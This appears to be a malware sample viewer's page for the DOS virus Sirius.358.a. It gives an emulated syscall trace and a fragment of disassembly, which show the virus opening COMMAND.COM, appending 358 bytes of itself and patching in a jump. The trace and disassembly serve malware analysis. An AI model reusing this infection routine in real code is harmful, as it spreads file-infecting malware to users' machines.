Sample viewer

vx.netlux.org/Virus.DOS.Sirius.358.a

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:08:02.507250086Z 47 PC: 12a9e | Get disk transfer address
2018-12-17T23:08:02.50916737Z 26 PC: 12ab0 | Set disk transfer address
2018-12-17T23:08:02.51094133Z 25 PC: 12abe | Get default drive
2018-12-17T23:08:02.512188505Z 14 PC: 12ac8 | Set default drive (Drive = 'C')
2018-12-17T23:08:02.513613665Z 78 PC: 12ad4 | Find first file
2018-12-17T23:08:02.523237471Z 67 PC: 12b10 | Get or set file attributes
2018-12-17T23:08:02.529205181Z 67 PC: 12b1d | Get or set file attributes
2018-12-17T23:08:02.968559076Z 61 PC: 12b25 | Open file (Filename = 'COMMAND.COM')
2018-12-17T23:08:02.976449471Z 87 PC: 12b2c | Get or set file date and time
2018-12-17T23:08:02.978661207Z 44 PC: 12b3a | Get time 0x12b3a: or dl, dl
0x12b3c: je 0x12b36
0x12b3e: mov byte ptr [bp + 0x160], dl
0x12b42: mov ah, 0x3f
0x12b44: lea dx, word ptr [bp + 0x62]
0x12b47: mov cx, 3
0x12b4a: int 0x21
0x12b4c: mov ax, 0x4202
0x12b4f: xor cx, cx
0x12b51: xor dx, dx
0x12b53: int 0x21
0x12b55: sub ax, 3
0x12b58: mov word ptr cs:[0xfb2d], ax
0x12b5c: mov byte ptr cs:[0xfb2c], 0xe9
0x12b62: lea si, word ptr [bp - 3]
0x12b65: mov di, 0xfcbc
0x12b68: mov cx, 0x166
0x12b6b: cld
0x12b6c: rep movsb byte ptr es:[di], byte ptr [si]
0x12b6e: mov si, 0xfcd8
2018-12-17T23:08:02.981709167Z 63 PC: 12b4c | Read file or device (Read 3 bytes on handle 5)
2018-12-17T23:08:02.985944393Z 66 PC: 12b55 | Move file pointer
2018-12-17T23:08:02.988206903Z 64 PC: 12b7e | Write file or device (Write 358 bytes on handle 5)
2018-12-17T23:08:02.995795116Z 66 PC: 12b87 | Move file pointer
2018-12-17T23:08:02.997487955Z 64 PC: 12b91 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:08:03.000711628Z 87 PC: 12ba6 | Get or set file date and time
2018-12-17T23:08:03.003225771Z 62 PC: 12baa | Close file
2018-12-17T23:08:03.011717066Z 67 PC: 12bb7 | Get or set file attributes
2018-12-17T23:08:03.022204768Z 26 PC: 12bc6 | Set disk transfer address
2018-12-17T23:08:03.032181995Z 14 PC: 12bd0 | Set default drive (Drive = 'A')
2018-12-17T23:08:03.034071764Z 9 PC: 12a4a | Display string (String= 'This is a fake virus for Sibille Stern!')